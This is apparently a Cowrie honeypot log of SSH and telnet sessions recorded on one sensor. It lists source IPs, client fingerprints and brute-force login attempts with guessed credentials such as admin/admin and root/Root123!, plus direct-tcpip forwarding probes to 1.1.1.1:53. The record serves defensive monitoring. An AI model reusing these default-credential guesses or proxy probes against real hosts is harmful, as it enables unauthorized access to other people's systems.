{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:11.280131Z","src_ip":"103.15.226.202","session":"3bd403be264a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51824,"dst_ip":"159.203.135.109","dst_port":23,"session":"722100cda5fd","protocol":"telnet","message":"New connection: 128.199.8.54:51824 (159.203.135.109:23) [session: 722100cda5fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:30:48.072839Z"}
{"eventid":"cowrie.session.closed","duration":33.485029458999634,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:21.557740Z","src_ip":"128.199.8.54","session":"722100cda5fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":54054,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f89d3fbdb0f","protocol":"ssh","message":"New connection: 87.251.64.176:54054 (10.17.0.5:22) [session: 0f89d3fbdb0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:25.435058Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:25.439465Z","src_ip":"87.251.64.176","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:25.535503Z","src_ip":"87.251.64.176","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:25.825088Z","src_ip":"87.251.64.176","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:25.924595Z","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:26.024066Z","src_ip":"87.251.64.176","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:31:26.122715Z","src_ip":"87.251.64.176","session":"0f89d3fbdb0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":49650,"dst_ip":"10.17.0.5","dst_port":22,"session":"2b7a9bd0c05e","protocol":"ssh","message":"New connection: 103.15.226.202:49650 (10.17.0.5:22) [session: 2b7a9bd0c05e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:33:47.210281Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:33:47.214785Z","src_ip":"103.15.226.202","session":"2b7a9bd0c05e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:33:47.459890Z","src_ip":"103.15.226.202","session":"2b7a9bd0c05e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin#123","message":"login attempt [root/admin#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:33:48.193015Z","src_ip":"103.15.226.202","session":"2b7a9bd0c05e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:33:49.439362Z","src_ip":"103.15.226.202","session":"2b7a9bd0c05e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":30930,"dst_ip":"10.17.0.5","dst_port":22,"session":"f95dbb5a233d","protocol":"ssh","message":"New connection: 87.251.64.176:30930 (10.17.0.5:22) [session: f95dbb5a233d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:11.662530Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:11.666903Z","src_ip":"87.251.64.176","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:11.763592Z","src_ip":"87.251.64.176","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:12.054700Z","src_ip":"87.251.64.176","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:12.153158Z","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:12.251549Z","src_ip":"87.251.64.176","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:12.351294Z","src_ip":"87.251.64.176","session":"f95dbb5a233d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":41787,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb29fab1f3bb","protocol":"telnet","message":"New connection: 212.55.149.117:41787 (10.17.0.5:23) [session: cb29fab1f3bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:34:17.595387Z"}
{"eventid":"cowrie.session.closed","duration":62.36094832420349,"message":"Connection lost after 62 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:35:19.956255Z","src_ip":"212.55.149.117","session":"cb29fab1f3bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":53345,"dst_ip":"10.17.0.5","dst_port":23,"session":"75d3e0464303","protocol":"telnet","message":"New connection: 212.55.149.117:53345 (10.17.0.5:23) [session: 75d3e0464303]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:36:03.273671Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":33984,"dst_ip":"10.17.0.5","dst_port":22,"session":"85f316670b85","protocol":"ssh","message":"New connection: 103.15.226.202:33984 (10.17.0.5:22) [session: 85f316670b85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:25.619285Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:25.623606Z","src_ip":"103.15.226.202","session":"85f316670b85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:25.884168Z","src_ip":"103.15.226.202","session":"85f316670b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root123!","message":"login attempt [root/Root123!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:26.640403Z","src_ip":"103.15.226.202","session":"85f316670b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:27.898126Z","src_ip":"103.15.226.202","session":"85f316670b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":43472,"dst_ip":"159.203.135.109","dst_port":22,"session":"5ae97c06f5f5","protocol":"ssh","message":"New connection: 193.24.211.100:43472 (159.203.135.109:22) [session: 5ae97c06f5f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:58.511698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:58.516418Z","src_ip":"193.24.211.100","session":"5ae97c06f5f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:58.626327Z","src_ip":"193.24.211.100","session":"5ae97c06f5f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"jboss","message":"login attempt [root/jboss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:37:59.063555Z","src_ip":"193.24.211.100","session":"5ae97c06f5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:00.175947Z","src_ip":"193.24.211.100","session":"5ae97c06f5f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00414657592773,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:03.277515Z","src_ip":"212.55.149.117","session":"75d3e0464303","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":64714,"dst_ip":"10.17.0.5","dst_port":22,"session":"018e482b2020","protocol":"ssh","message":"New connection: 87.251.64.176:64714 (10.17.0.5:22) [session: 018e482b2020]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.339845Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.344810Z","src_ip":"87.251.64.176","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.440894Z","src_ip":"87.251.64.176","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.732641Z","src_ip":"87.251.64.176","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.834373Z","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:14.932594Z","src_ip":"87.251.64.176","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:15.031288Z","src_ip":"87.251.64.176","session":"018e482b2020","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":56938,"dst_ip":"10.17.0.5","dst_port":23,"session":"cdda18aec7a0","protocol":"telnet","message":"New connection: 212.55.149.117:56938 (10.17.0.5:23) [session: cdda18aec7a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:16.145728Z"}
{"eventid":"cowrie.session.connect","src_ip":"154.72.60.79","src_port":56922,"dst_ip":"10.17.0.5","dst_port":23,"session":"ff6e08720a50","protocol":"telnet","message":"New connection: 154.72.60.79:56922 (10.17.0.5:23) [session: ff6e08720a50]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:28.962100Z"}
{"eventid":"cowrie.session.closed","duration":12.41618299484253,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T08:38:41.378170Z","src_ip":"154.72.60.79","session":"ff6e08720a50","protocol":"telnet"}
